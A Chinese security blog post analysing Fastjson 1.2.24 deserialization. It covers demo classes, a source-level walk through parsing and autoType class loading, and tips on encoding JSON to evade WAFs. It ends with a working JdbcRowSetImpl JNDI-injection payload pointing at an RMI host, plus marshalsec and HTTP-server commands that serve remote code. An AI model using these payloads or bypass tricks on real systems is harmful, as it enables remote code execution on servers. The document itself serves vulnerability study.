在上篇《JavaSec Java反序列化漏洞利用》中指出,不安全的输入字节流参与甚至改变了程序的执行流是Java反序列化漏洞利用的成因,对于从字节序列反向实例化对象除了Java Serialize外,还有json,xml等传输数据格式,其中在国内对json用的比较多的解析库有Fastjson与Jackson,他们同样从json的字符串中还原对象的状态,因为json串中记录了每个成员变量的具体类型与具体值,这点与Java反序列一致,其漏洞利用原理也是一致的,若攻击者能够控制反序列的对象类型,这些类型在服务端的classpath能够找到(存在gadget依赖),通过Java反序列的漏洞或者一些类的属性控制(如JNDI注入利用)达到攻击目的。
这里将介绍
1.Fastjson的基本使用
2.FastJson的反序列过程与利用点分析
3.FastJson的利用方式总结
一、FastJson基本使用
是Alibaba开源的一套JSON解析,主要通过 JSON.toJsonString()
序列化成JSON串,通过 JSONObject.parse()
或 JSONObject.parseObejct()
将json串反序列化
下面以demo测试FastJson的序列化与反序列
fastjson 1.2.24
jdk1.8u181
JavaBean类
package org.sec.demo1;
/**
* @Project: JavaSec
* @Desc: JavaBean测试类
* @Author: thonsun
* @Create: 2020/12/17 16:10
**/
public class User {
private String name;
private int age;
public Flag flag;
public User(String name, int age, Flag flag) {
System.out.println("user constructor called");
this.name = name;
this.age = age;
this.flag = flag;
}
public User() {
System.out.println("user default constructor called");
}
public String getName() {
System.out.println("user getName called");
return name;
}
public void setName(String name) {
System.out.println("user setName called");
this.name = name;
}
public int getAge() {
System.out.println("user getAge called");
return age;
}
public void setAge(int age) {
System.out.println("user setAget called");
this.age = age;
}
public Flag getFlag() {
System.out.println("user getFlag called");
return flag;
}
public void setFlag(Flag flag) {
System.out.println("user setFlag called");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
'}';
}
}
class Flag {
public String value;
@Override
public String toString() {
return "Flag{" +
"value='" + value + '\'' +
'}';
}
public String getValue() {
System.out.println("flag getValue called");
return value;
}
public void setValue(String value) {
System.out.println("flag setValue called");
this.value = value;
}
public Flag(String value) {
System.out.println("flag constructor called");
this.value = value;
}
public Flag() {
System.out.println("flag default constructor called");
}
}
测试类
package org.sec.demo1;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
/**
* @Project: JavaSec
* @Desc: 测试FastJson基本使用
* @Author: thonsun
* @Create: 2020/12/17 16:09
**/
public class MainClass {
public static void main(String[] args) {
Flag flag = new Flag("flag{xxxx}");
User user = new User("thonsun", 22, flag);
System.out.println("\n==fastjson serialize start==");
String s = JSON.toJSONString(user);
System.out.println(s);
System.out.println("\n==fastjson deserialize start==");
System.out.printf("Parse done: %s\n", JSONObject.parse(s).getClass());
System.out.printf("ParseObejct done: %s\n", JSONObject.parseObject(s).getClass());
System.out.printf("ParseObject with class: %s\n", JSONObject.parseObject(s, User.class).getClass());
}
}
运行结果:
可以看到Fastjson序列化主要调用get方法将字段值写入序列化Json串中,JSONObject.parse(s)
与JSONObject.parseObject(s)
都没有真正还原对象,只有JSONObject.parseObject(s, User.class)
指定了class才调用默认的构造器初始化对象并调用setValue设置初始值。这也容易理解,只有指定了从哪个类进行反序列化才还原成该类对象实例。在FastJson1.2.24及之前的版本为了方便开发者,默认开启的autoType的功能,即可以在json串中指定FastJson明确还原的类。如
{"@type":"org.sec.demo1.User","age":22,"flag":{"value":"flag{xxxx}"},"name":"thonsun"}
再次调用测试类:
可以看到三种方法都明确的还原了对象,并且第二种调用方式会多调用get方法。
对于JSONObject.parse()
与JSONObject.parseObject()
的区别联系可以:
只是多了一层对obj的处理。
二、FastJson反序列化分析
上面的demo演示了Fastjson在序列化与反序列的标准调用时通过get,set方法,这里的标准是对于一个JavaBean,每个成员都有getter & setter方法。所以要利用FastJson的反序列化漏洞,在fastjson 1.2.24默认开启autoType时候,攻击者可以控制服务器以哪个类进行还原,这个target 类的属性也可以在json的field中控制,所以所以只需找到target 类的set或get方法存在利用即可。
下面以JSONObject.parseObject(string) 为例,在源码层分析FastJson的反序列化过程:
1. 获取DefaultJSONParser
JSONObject.parseObject(string)
–> JSONObject.parse(string)
–> new DefaultJSONParser
DefaultJsonParser对象用于解析json串,依据token标识解析的进度
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
2.进入DefualtJSONParser#parse()获取对象
JSONObject#parse()
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
DefualtJSONParser#parse()
通过switch case token进行不同的解析
在第⼀⾏会创建⼀个空的JSONObject,随后会通过 parseObject ⽅法进⾏解析 ,parseObject 通过while循环遍历JSON的字符串进行解析
这里有处理空白字符的与依据Feature进行一些预处理的函数,如忽略多个”,”等
Feature特性支持
public enum Feature {
AutoCloseSource,
AllowComment,
AllowUnQuotedFieldNames,
AllowSingleQuotes,
InternFieldNames,
AllowISO8601DateFormat,
AllowArbitraryCommas,
UseBigDecimal,
IgnoreNotMatch,
SortFeidFastMatch,
DisableASM,
DisableCircularReferenceDetect,
InitStringFieldAsEmpty,
SupportArrayToBean,
OrderedField,
DisableSpecialKeyDetect,
UseObjectArray,
SupportNonPublicField
}
同时通过scanSymbol进行编码,也就是说
json串的格式可以是\u0065 或 \x12 或字符 或注释L 、[等,这些可以用于在后面的漏洞利用中绕过黑名单或者WAF或程序的正则检查
3.autoType 支持进行类加载
通过TypeUtils.loadClass加载 @type指定的class
TypeUtils.loadClass先在TypeUtils的缓存mapping获取name指定的类,命中则直接返回对应class,否则通过class.LoadClass(name)指定进行类加载并加入mapping缓存方便下次使用。其中mapping支持的大多数是常用基本类型
loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className); //缓存加载
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className); //指定名称类加载
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
4.通过class对象获取反序列化器
这个反序列化器实际是一个依据Class对象获取里面声明的Field,Method,Constructor,方便后面通过反射调用Constructor&Method(get|set)还原json对象同类Class加载一样,Fastjson提供了默认的反序列化器(Class.newInstance()的实例化对象)
ParserConfig.getDeserializer(clazz)
1.过denyList
2.最终通过derializer = createJavaBeanDeserializer(clazz, type);
构建序列化器
其里面的实现通过
if (!asmEnable) {
return new JavaBeanDeserializer(this, clazz, type);
}
最终通过反射获取class对象里面的Field,Method,Constructors组成JavaBeanDeserializer
5.还原json对象
对于Field也是递归上面的过程,通过加载clazz,获取到反序列化器(里面保存了clazz的Constructor,Method,Fields)
随后会通过 FieldDeserializer#setValue 的⽅式去赋值:
fieldDeSer.setValue(Object,fieldValue);
如果有 set ⽅法了,就会通过反射的⽅式调⽤ set ⽅法去赋值:
field.set(value)
如果没有 set ⽅法,就会通过反射的⽅式为 Field 赋值:
method.invoke(object,value)
对于对象的还原也是重复上面流程。
总结一下:
- JSON中的键&值均可使⽤unicode编码 & ⼗六进制编码(可⽤于绕过WAF检测)
- JSON解析时会忽略双引号外的所有空格、换⾏、注释符(可⽤于绕过WAF检测)
- 为属性赋值相关的代码位于setValue⽅法中
- 反序列化时是可以调⽤ get ⽅法的,只是有⼀定的限制
三、FastJson反序列化利用
在fastjson 安全公告 中指出,Fastjson在1.2.24之前默认开启autoType,导致攻击者可以控制@type中让服务端加载任意类,若找到一些类满足getter or setter方法存在漏洞,就可以被恶意利用,这个getter 或 setter方法就像Java反序列化的readObject函数一样。
关于Fastjson的利用与及Bypass手段将在《JavaSec Fastjson漏洞复现》中讨论
这里以JdbcRowSetImpl 在fastjson的利用:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext(); //JNDI 注入利用
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
所以构造json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.58.131:1099/evil","autoCommit":true}
测试类
package org.sec.poc;
import com.alibaba.fastjson.JSONObject;
/**
* @Project: JavaSec
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 20:05
**/
public class MainClass {
public static void main(String[] args) {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.58.131:1099/evil\",\"autoCommit\":true}";
JSONObject.parseObject(poc);
}
}
通过marshalsec 快速搭建RMIReference server or LDAP server
#最后一个默认是1099,注册中心的绑定地址
#将所有命名解析请求都返回 http://ip:8080/文件夹/#ExportOb 的Refere引用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088
python起服务器提供class下载
python -m http.server 8080
运行结果